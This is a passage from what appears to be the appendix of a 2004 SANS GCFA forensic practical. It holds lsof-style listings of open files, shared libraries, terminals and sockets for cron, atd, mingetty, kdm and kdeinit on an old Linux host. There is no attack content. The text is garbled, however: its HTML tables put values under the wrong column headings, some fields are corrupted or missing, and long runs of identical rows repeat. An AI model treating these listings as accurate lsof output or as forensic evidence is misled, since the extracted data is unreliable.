cron 953 root 0r DIR 3,5 1024 2 /

cron 953 root 1r DIR 3,5 1024 2 /

cron 953 root 2r DIR 3,5 1024 2 /

xfs 1005 root 3u REG 3,6 6 38177 /var/run/crond.pid

xfs 1005 root 4u unix 0xc6b8b5c0 1704 /tmp/.font-unix/fs7100

atd 1041 root cwd DIR 3,6 1024 56225 /var/spool/at

atd 1041 root rtd DIR 3,5 1024 2 /

atd 1041 root txt REG 3,2 14776 130516 /usr/sbin/atd

atd 1041 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so

atd 1041 root mem REG 3,5 45415 63523 /lib/libnss_files-2.2.5.so

atd 1041 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so

atd 1041 root 0u CHR 1,3 9637 /dev/null

atd 1041 root 1u CHR 1,3 9637 /dev/null

atd 1041 root 2u CHR 1,3 9637 /dev/null

atd 1041 root 3u REG 3,6 5 38178 /var/run/atd.pid

mingetty 1050 root cwd DIR 3,5 1024 2 /

mingetty 1050 root rtd DIR 3,5 1024 2 /

mingetty 1050 root txt REG 3,5 14136 71701 /sbin/mingetty

mingetty 1050 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so

mingetty 1050 root mem REG 3,5 45415 63523 /lib/libnss_files-2.2.5.so

mingetty 1050 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so

mingetty 1050 root 0u CHR 4,1 14414 /dev/tty1

mingetty 1050 root 1u CHR 4,1 14414 /dev/tty1

mingetty 1050 root 2u CHR 4,1 14414 /dev/tty1

mingetty 1051 root cwd DIR 3,5 1024 2 /

mingetty 1051 root rtd DIR 3,5 1024 2 /

mingetty 1051 root txt REG 3,5 14136 71701 /sbin/mingetty

mingetty 1051 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so

mingetty 1051 root mem REG 3,5 45415 63523 /lib/libnss_files-2.2.5.so

mingetty 1051 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so

mingetty 1051 root 0u CHR 4,2 14425 /dev/tty2

mingetty 1051 root 1u CHR 4,2 14425 /dev/tty2

mingetty 1051 root 2u CHR 4,2 14425 /dev/tty2

mingetty 1052 root cwd DIR 3,5 1024 2 /

mingetty 1052 root rtd DIR 3,5 1024 2 /

mingetty 1052 root txt REG 3,5 14136 71701 /sbin/mingetty

mingetty 1052 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so

mingetty 1052 root mem REG 3,5 45415 63523 /lib/libnss_files-2.2.5.so

mingetty 1052 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so

mingetty 1052 root 0u CHR 4,3 14436 /dev/tty3

mingetty 1052 root 1u CHR 4,3 14436 /dev/tty3

mingetty 1052 root 2u CHR 4,3 14436 /dev/tty3

mingetty 1053 root cwd DIR 3,5 1024 2 /

mingetty 1053 root rtd DIR 3,5 1024 2 /

mingetty 1053 root txt REG 3,5 14136 71701 /sbin/mingetty

mingetty 1053 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so

mingetty 1053 root mem REG 3,5 45415 63523 /lib/libnss_files-2.2.5.so

mingetty 1053 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so

mingetty 1053 root 0u CHR 4,4 14439 /dev/tty4

mingetty 1053 root 1u CHR 4,4 14439 /dev/tty4

mingetty 1053 root 2u CHR 4,4 14439 /dev/tty4

mingetty 1054 root cwd DIR 3,5 1024 2 /

mingetty 1054 root rtd DIR 3,5 1024 2 /

mingetty 1054 root txt REG 3,5 14136 71701 /sbin/mingetty

mingetty 1054 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so

mingetty 1054 root mem REG 3,5 45415 63523 /lib/libnss_files-2.2.5.so

mingetty 1054 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so

mingetty 1054 root 0u CHR 4,5 14440 /dev/tty5

mingetty 1054 root 1u CHR 4,5 14440 /dev/tty5

mingetty 1054 root 2u CHR 4,5 14440 /dev/tty5
<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Commands</th>
<th>Options</th>
<th>PID</th>
<th>Permissions</th>
<th>Uid/Gid</th>
<th>Created</th>
<th>Size</th>
<th>Attributes</th>
<th>Args</th>
</tr>
</thead>
<tbody>
<tr>
<td>mingetty</td>
<td>root</td>
<td>2u</td>
<td>CHR</td>
<td>4,5</td>
<td>14440</td>
<td>/dev/tty5</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>mingetty</td>
<td>root</td>
<td>cswd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>2 /</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>mingetty</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>2 /</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>mingetty</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3,5</td>
<td>14136</td>
<td>71701</td>
<td>/sbin/mingetty</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>mingetty</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>63490</td>
<td>/lib/id-2.2.5.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>mingetty</td>
<td>root</td>
<td>0u</td>
<td>CHR</td>
<td>4,6</td>
<td>14441</td>
<td>/dev/tty6</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>mingetty</td>
<td>root</td>
<td>1u</td>
<td>CHR</td>
<td>4,6</td>
<td>14441</td>
<td>/dev/tty6</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>mingetty</td>
<td>root</td>
<td>2u</td>
<td>CHR</td>
<td>4,6</td>
<td>14441</td>
<td>/dev/tty6</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdm</td>
<td>root</td>
<td>cswd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>2 /</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdm</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>2 /</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdm</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3,5</td>
<td>83400</td>
<td>33562</td>
<td>/usr/bin/kdm</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdm</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>89547</td>
<td>63490</td>
<td>/lib/ld-2.2.5.so</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdm</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>874476</td>
<td>16985</td>
<td>/usr/X11R6/lib/libX11.so.6.2</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdm</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3,5</td>
<td>11174</td>
<td>63503</td>
<td>/lib/libdl-2.2.5.so</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdm</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>35340</td>
<td>63567</td>
<td>/lib/libpam.so.0.75</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdm</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>12102</td>
<td>63503</td>
<td>/lib/libdl-2.2.5.so</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdm</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>35340</td>
<td>63567</td>
<td>/lib/libpam_misc.so.0.75</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

© SANS Institute 2004, Author retains full rights.
Kevin Miller - Sans GCFA Assignment – v1.4  Page 113

kdm 1067 root mem REG 3,5 45415 63523 /lib/libnss_files-2.2.5.so
kdm 1067 root mem REG 3,5 12471 43053 /lib/security/pam_stack.so
kdm 1067 root mem REG 3,5 6387 43046 /lib/security/pam_nologin.so
kdm 1067 root mem REG 3,5 12102 63503 /lib/libdl-2.2.5.so
kdm 1067 root mem REG 3,5 68925 63535 /lib/libresolv-2.2.5.so
kdm 1067 root mem REG 3,5 50887 63541 /lib/libutil-2.2.5.so
kdm 1067 root mem REG 3,5 4910 43033 /lib/security/pam_deny.so
kdm 1067 root mem REG 3,5 12989 43034 /lib/security/pam_env.so
kdm 1067 root mem REG 3,5 12102 63503 /lib/libdl-2.2.5.so
kdm 1067 root mem REG 3,5 68925 63535 /lib/libresolv-2.2.5.so
kdm 1067 root mem REG 3,5 50887 63541 /lib/libutil-2.2.5.so
kdm 1067 root mem REG 3,5 4910 43033 /lib/security/pam_deny.so
kdm 1067 root mem REG 3,5 12989 43034 /lib/security/pam_env.so
kdm 1067 root mem REG 3,5 12102 63503 /lib/libdl-2.2.5.so
kdm 1067 root mem REG 3,5 68925 63535 /lib/libresolv-2.2.5.so
kdm 1067 root mem REG 3,5 50887 63541 /lib/libutil-2.2.5.so
kdm 1067 root mem REG 3,5 4910 43033 /lib/security/pam_deny.so
kdm 1067 root mem REG 3,5 12989 43034 /lib/security/pam_env.so
kdm 1067 root mem REG 3,5 12102 63503 /lib/libdl-2.2.5.so
kdm 1067 root mem REG 3,5 68925 63535 /lib/libresolv-2.2.5.so
kdm 1067 root mem REG 3,5 50887 63541 /lib/libutil-2.2.5.so
kdm 1067 root mem REG 3,5 4910 43033 /lib/security/pam_deny.so
kdm 1067 root mem REG 3,5 12989 43034 /lib/security/pam_env.so
kdm 1067 root mem REG 3,5 12102 63503 /lib/libdl-2.2.5.so
kdm 1067 root mem REG 3,5 68925 63535 /lib/libresolv-2.2.5.so
kdm 1067 root mem REG 3,5 50887 63541 /lib/libutil-2.2.5.so
kdm 1067 root mem REG 3,5 4910 43033 /lib/security/pam_deny.so
kdm 1067 root mem REG 3,5 12989 43034 /lib/security/pam_env.so
kdm 1067 root mem REG 3,5 12102 63503 /lib/libdl-2.2.5.so
kdm 1067 root mem REG 3,5 68925 63535 /lib/libresolv-2.2.5.so
kdm 1067 root mem REG 3,5 50887 63541 /lib/libutil-2.2.5.so
kdm 1067 root mem REG 3,5 4910 43033 /lib/security/pam_deny.so
kdm 1067 root mem REG 3,5 12989 43034 /lib/security/pam_env.so
kdm 1067 root mem REG 3,5 12102 63503 /lib/libdl-2.2.5.so
kdm 1067 root mem REG 3,5 68925 63535 /lib/libresolv-2.2.5.so
kdm 1067 root mem REG 3,5 50887 63541 /lib/libutil-2.2.5.so
kdm 1067 root mem REG 3,5 4910 43033 /lib/security/pam_deny.so
kdm 1067 root mem REG 3,5 12989 43034 /lib/security/pam_env.so
kdm 1067 root mem REG 3,5 12102 63503 /lib/libdl-2.2.5.so
kdm 1067 root mem REG 3,5 68925 63535 /lib/libresolv-2.2.5.so
kdm 1067 root mem REG 3,5 50887 63541 /lib/libutil-2.2.5.so
kdm 1067 root mem REG 3,5 4910 43033 /lib/security/pam_deny.so

As of GIAC practical repository.  
Author retains full rights.
<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Type</th>
<th>Size (Bytes)</th>
<th>Offset (Bytes)</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>3,2</td>
<td>1962973</td>
<td>/usr/lib/libkdecore-gcc2.96.so.0.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>3,2</td>
<td>7644546</td>
<td>/usr/lib/qt-3.0.3/lib/libqt-mt.so.3.0.3</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>3,2</td>
<td>131560</td>
<td>/usr/lib/libpng.so.2.1.0.12</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>3,2</td>
<td>59778</td>
<td>/usr/lib/libssl.so.0.9.6b</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>3,2</td>
<td>874476</td>
<td>/lib/libkdeui.so.6.2</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>3,2</td>
<td>31520</td>
<td>/usr/X11R6/lib/libSM.so.6.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>3,2</td>
<td>81380</td>
<td>/usr/X11R6/lib/libICE.so.6.3</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>3,5</td>
<td>101902</td>
<td>/lib/libpthread.so.0.9</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>3,5</td>
<td>12102</td>
<td>/lib/libdl.so.3.0.3</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>3,2</td>
<td>52300</td>
<td>/usr/X11R6/lib/libXext.so.6.4</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>3,5</td>
<td>68925</td>
<td>/lib/libssl.so.0.9.6b</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>3,2</td>
<td>426442</td>
<td>/usr/lib/libstdc++.3-3/libc6c2.2-2.10.0.so</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>3,5</td>
<td>11774</td>
<td>/lib/libutil.so.2</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>3,5</td>
<td>173359</td>
<td>/lib/libm.so.1.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>3,2</td>
<td>110194</td>
<td>/usr/lib/libcups.so.0.2</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>3,2</td>
<td>293036</td>
<td>/usr/lib/libpng.so.2.1.0.12</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>3,2</td>
<td>140418</td>
<td>/usr/lib/libjpeg.so.62.0.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>3,2</td>
<td>90976</td>
<td>/usr/lib/libkdeui.so.6.2</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>3,5</td>
<td>207008</td>
<td>/lib/libssl.so.0.9.6b</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>3,5</td>
<td>924879</td>
<td>/lib/libcrypto.so.0.9.6b</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>3,2</td>
<td>575687</td>
<td>/usr/lib/libjpeg.so.62.0.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>3,5</td>
<td>1401027</td>
<td>/lib/libssl.so.0.9.6b</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>3,3</td>
<td>9637</td>
<td>/dev/null</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>1w</td>
<td>REG</td>
<td>3,3</td>
<td>1453</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>2w</td>
<td>REG</td>
<td>3,3</td>
<td>1453</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>3r</td>
<td>FIFO</td>
<td>0,5</td>
<td>2150 pipe</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>4r</td>
<td>CHR</td>
<td>1,3</td>
<td>9637</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>5w</td>
<td>FIFO</td>
<td>0,5</td>
<td>2150 pipe</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>6u</td>
<td>unix</td>
<td>0xc3d780e0</td>
<td>/tmp/ksocket-userid1/kdeinit</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>7u</td>
<td>unix</td>
<td>Oxc3d78ae0</td>
<td>2168 socket</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>8u</td>
<td>unix</td>
<td>Oxc2f62580</td>
<td>2208 socket</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>cwd</td>
<td>DIR</td>
<td>3,3</td>
<td>/home/userid1</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>txt</td>
<td>REG</td>
<td>3,2</td>
<td>36360</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>89547</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>371</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>20666</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>29</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>65</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>161</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>83</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>40</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>58</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>2457</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>60</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>262818</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>293441</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>2484738</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>2530952</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>168176</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>173280</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>133032</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1962973</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>7644546</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>131560</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>65396</td>
</tr>
</tbody>
</table>
kdeinit 1203 userid1 mem REG 3,5 924879 63562 /lib/libcrypto.so.0.9.6b
kdeinit 1203 userid1 mem REG 3,2 575687 65982 /usr/lib/libkong-gcc2.96.so.4.0.0
kdeinit 1203 userid1 mem REG 3,2 381888 65598 /usr/lib/libsoundserver_idl-gcc2.96.so.1.0.0
kdeinit 1203 userid1 mem REG 3,2 35784 65592 /usr/lib/libqtmcop-gcc2.96.so.1.0.0
kdeinit 1203 userid1 mem REG 3,2 282587 65574 /usr/lib/libkmedia2_idl-gcc2.96.so.1.0.0
kdeinit 1203 userid1 mem REG 3,2 160333 65545 /usr/lib/libartsflow-gcc2.96.so.1.0.0
kdeinit 1203 userid1 mem REG 3,2 1048932 65545 /usr/lib/libartsflow_idl-gcc2.96.so.1.0.0
kdeinit 1203 userid1 mem REG 3,2 563716 65551 /usr/lib/libaudiofile.so.0.0.2
kdeinit 1203 userid1 mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache
kdeinit 1203 userid1 mem REG 3,2 65 130316 /usr/lib/locale/en_US.iso885915/LC_TELEPHONE
kdeinit 1203 userid1 mem REG 3,2 161 130310 /usr/lib/locale/en_US.iso885915/LC_ADDRESS
kdeinit 1203 userid1 mem REG 3,2 83 130314
kdeinit 1203 userid1 mem REG 3,2 40 130315
kdeinit 1203 userid1 mem REG 3,2 58 179360
kdeinit 1203 userid1 mem REG 3,2 173680 130324
kdeinit 1203 userid1 mem REG 3,2 10902 16965
kdeinit 1203 userid1 mem REG 3,2 136415 16964
kdeinit 1203 userid1 mem REG 3,2 292 130313
kdeinit 1203 userid1 mem REG 3,2 22592 130323
kdeinit 1203 userid1 mem REG 3,2 60 130322
kdeinit 1203 userid1 mem REG 3,2 173680 130324
kdeinit 1203 userid1 mem REG 3,2 58 179360
kdeinit 1203 userid1 mem REG 3,2 173680 130324
kdeinit 1203 userid1 mem REG 3,2 10902 16965
kdeinit 1203 userid1 mem REG 3,2 136415 16964
kdeinit 1203 userid1 mem REG 3,2 6996 130316
kdeinit 1203 userid1 mem REG 3,2 45415 63523 /lib/libnss_files-2.2.5.so
kdeinit 1203 userid1 mem REG 3,2 1401027 73730 /lib/i686/libc-2.2.5.so
kdeinit 1203 userid1 mem REG 3,2 40 33376 /usr/bin/kdeinit
kdeinit 1203 userid1 mem REG 3,2 36360 33359 /usr/bin/kdeinit
kdeinit 1203 userid1 mem REG 3,2 36360 33359 /usr/bin/kdeinit
kdeinit 1203 userid1 mem REG 3,2 2457 130317
kdeinit 1210 userid1 mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache
<table>
<thead>
<tr>
<th>Process Name</th>
<th>User ID</th>
<th>Flags</th>
<th>Size</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem REG 3,2</td>
<td>488575</td>
<td>/usr/lib/kwin-gcc2.96.so</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>22592</td>
<td>130323</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>173680</td>
<td>130324</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>136415</td>
<td>16964</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>6996</td>
<td>114215</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>69421</td>
<td>294654</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>42808</td>
<td>16997</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>874476</td>
<td>16985</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>52300</td>
<td>16993</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>426442</td>
<td>65957</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>7644546</td>
<td>440426</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>173359</td>
<td>73730</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>101702</td>
<td>65768</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>12102</td>
<td>63503</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>13606</td>
<td>65672</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>13280</td>
<td>65499</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>16097</td>
<td>65399</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>2530952</td>
<td>440426</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>7644546</td>
<td>262818</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>79690</td>
<td>65976</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>39778</td>
<td>65338</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>874476</td>
<td>16985</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>31520</td>
<td>16983</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>36360</td>
<td>33159</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>136115</td>
<td>16964</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>173680</td>
<td>130324</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>212159</td>
<td>16964</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>13606</td>
<td>65672</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>25997</td>
<td>65338</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>440426</td>
<td>262818</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>13280</td>
<td>65499</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>16097</td>
<td>65399</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>7644546</td>
<td>262818</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>79690</td>
<td>65976</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>39778</td>
<td>65338</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>874476</td>
<td>16985</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>31520</td>
<td>16983</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>36360</td>
<td>33159</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>136115</td>
<td>16964</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>173680</td>
<td>130324</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>212159</td>
<td>16964</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>13606</td>
<td>65672</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>25997</td>
<td>65338</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>440426</td>
<td>262818</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>13280</td>
<td>65499</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>16097</td>
<td>65399</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>7644546</td>
<td>262818</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>79690</td>
<td>65976</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>39778</td>
<td>65338</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>874476</td>
<td>16985</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>31520</td>
<td>16983</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>36360</td>
<td>33159</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>136115</td>
<td>16964</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>173680</td>
<td>130324</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>212159</td>
<td>16964</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>13606</td>
<td>65672</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>25997</td>
<td>65338</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>440426</td>
<td>262818</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>13280</td>
<td>65499</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>16097</td>
<td>65399</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>7644546</td>
<td>262818</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>79690</td>
<td>65976</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>39778</td>
<td>65338</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>874476</td>
<td>16985</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>31520</td>
<td>16983</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>36360</td>
<td>33159</td>
